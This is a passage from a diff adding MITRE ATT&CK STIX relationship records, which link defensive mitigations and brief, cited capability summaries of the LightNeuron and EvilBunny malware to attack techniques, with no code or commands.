"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-19T14:43:31.175Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "description": "Prevent users from changing the HISTCONTROL environment variable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:23:11.519Z", + "id": "relationship--6114d890-764b-48fe-9901-f2a60d32cfa0", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "modified": "2019-06-25T14:23:11.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "description": "Make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:23:11.523Z", + "id": "relationship--f6a55d63-5d15-40d2-9d31-793cbfadb444", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-06-25T14:23:11.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:31:08.640Z", + "id": "relationship--5078bd6b-0d88-4e7e-a64d-e74f9950e1d9", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-06-25T14:31:08.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "description": "Block unknown devices and accessories by endpoint security configuration and monitoring agent.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:33:33.684Z", + "id": "relationship--b28f8635-6a79-4be1-b05a-b4356a04e7c2", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "modified": "2019-07-17T21:35:07.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:33:33.700Z", + "id": "relationship--64af911e-0b75-45b5-903d-b1ab4676556f", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "modified": "2019-07-17T21:35:07.133Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Wikipedia 802.1x", + "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/IEEE_802.1X" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:35:53.245Z", + "id": "relationship--02a7cdce-3386-4a5f-a9c4-a8ab2d3a9091", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-04T21:19:25.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.", + "source_name": "GitHub Bloodhound", + "url": "https://github.com/BloodHoundAD/BloodHound" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:44:15.587Z", + "id": "relationship--2afbe22a-aa7e-449c-85de-21e255bc5aa6", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-25T14:44:15.587Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "Train users to identify social engineering techniques and spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T15:34:24.671Z", + "id": "relationship--b2dac45d-0bd8-488a-a00d-d54db8d3507c", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-07-18T18:50:25.721Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T15:34:24.696Z", + "id": "relationship--a24399b5-218e-41b5-8904-9e8e0599ae25", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T18:50:25.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents, though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T15:34:24.698Z", + "id": "relationship--cf485f42-cc2f-4ef7-9226-533192a9413c", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-18T18:50:25.741Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Disable Macros", + "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", + "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T15:34:24.702Z", + "id": "relationship--2357634d-3e93-41f3-90d5-91fe4d0deb7e", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-07-18T18:50:25.759Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) collects emails matching rules specified in its configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T13:52:51.413Z", + "id": "relationship--6c42fa31-80df-4d67-92d2-4273c22a4d5b", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can collect files from a local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T13:52:51.431Z", + "id": "relationship--92a5d02f-8f2e-4744-b030-54f2222bde88", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically collect files under a specified directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T13:52:51.446Z", + "id": "relationship--83d16911-5fa1-4646-9718-6af0852dcb9a", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers the victim computer name using the Win32 API call GetComputerName.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T13:52:51.449Z", + "id": "relationship--70f5df58-30d0-4866-bfee-64dcf10edca9", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.582Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers information about network adapters using the Win32 API call GetAdaptersInfo.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T13:52:51.462Z", + "id": "relationship--9a6825cb-0656-4d42-b4d7-8d0fa55394c0", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.608Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) contains a function to encrypt and store emails that it collects.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:34:59.110Z", + "id": "relationship--6259ae94-15ac-4343-9eb9-7315160bf58a", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically exfiltrate files under a specified directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:34:59.118Z", + "id": "relationship--2b1fb532-84e3-4f77-962c-038c798d239e", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.606Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses SMTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:58:02.530Z", + "id": "relationship--12918fb6-9b92-4644-a4c2-4f2f471e9b2c", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses AES to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:58:02.553Z", + "id": "relationship--86db4034-d33f-4067-b133-70ea904fa461", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is controlled via commands that are embedded into PDFs and JPGs using steganographic methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:58:02.557Z", + "id": "relationship--4be17eba-9ee0-46ff-b019-ce32c25ad146", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to exfiltrate data during nighttime or working hours.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:58:02.559Z", + "id": "relationship--20c556ad-adcd-4b60-bde1-c3eff06c0593", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) exfiltrates data over its email C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T14:58:02.575Z", + "id": "relationship--3b6f4d0d-352f-4e0f-8a7d-5b843a21295a", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.736Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used AES and XOR to decrypt configuration files and commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.184Z", + "id": "relationship--54d9e07f-eff6-41e9-8821-3bb7ac657c8c", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used filenames associated with Exchange and Outlook for binary and configuration files, such as winmail.dat.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.203Z", + "id": "relationship--68017126-a4fe-4c2d-926d-fbc51ea8573c", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is capable of modifying email content, headers, and attachments during transit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.208Z", + "id": "relationship--973e4318-a08c-491c-afa3-d110f9d87758", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.733Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is capable of executing commands via cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.236Z", + "id": "relationship--91d50267-6892-407e-8e0a-01435e6303a9", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has the ability to download and execute additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.250Z", + "id": "relationship--80cc26ad-62b5-49f0-bb8d-bd588bd51585", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is capable of starting a process using CreateProcess.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.253Z", + "id": "relationship--abf45442-6ca3-4538-ad21-db2e46f43f67", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.765Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has a function to delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.282Z", + "id": "relationship--01b13af3-d241-47ed-b351-e83604c0d92f", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) encrypts its configuration files with AES-256.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:02:08.284Z", + "id": "relationship--4224d1f3-e634-4aa1-a6a5-bad5c1e81604", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.801Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T16:11:16.748Z", + "id": "relationship--a4d6544d-0d01-4cdd-81e8-4b6382675f10", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to check to see if the malware is running in a sandbox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.335Z", + "id": "relationship--0c3f8b3b-a6a3-472c-b792-6f5c7ccfbb24", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + 